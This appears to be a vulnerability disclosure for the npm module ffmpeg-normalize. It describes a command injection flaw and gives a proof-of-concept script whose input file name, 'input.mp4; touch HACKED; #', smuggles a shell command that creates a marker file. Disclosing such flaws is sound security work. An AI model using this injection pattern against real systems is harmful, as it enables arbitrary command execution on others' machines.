ffmpeg-normalize

vulnerability remote code execution
severity 3.8
language javascript
registry npm

Description

The ffmpeg-normalize module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection

POC

  1. Create the following PoC file:
// poc.js
const normalize = require('ffmpeg-normalize');
 
normalize({
    input: 'input.mp4; touch HACKED; #',
    output: 'output.mp4',
    loudness: {
        normalization: 'ebuR128',
        target: {input_i: -23}
    },
    verbose: false
}).then(normalized  => {}).catch(error => {console.log()});

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i ffmpeg-normalize # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created

References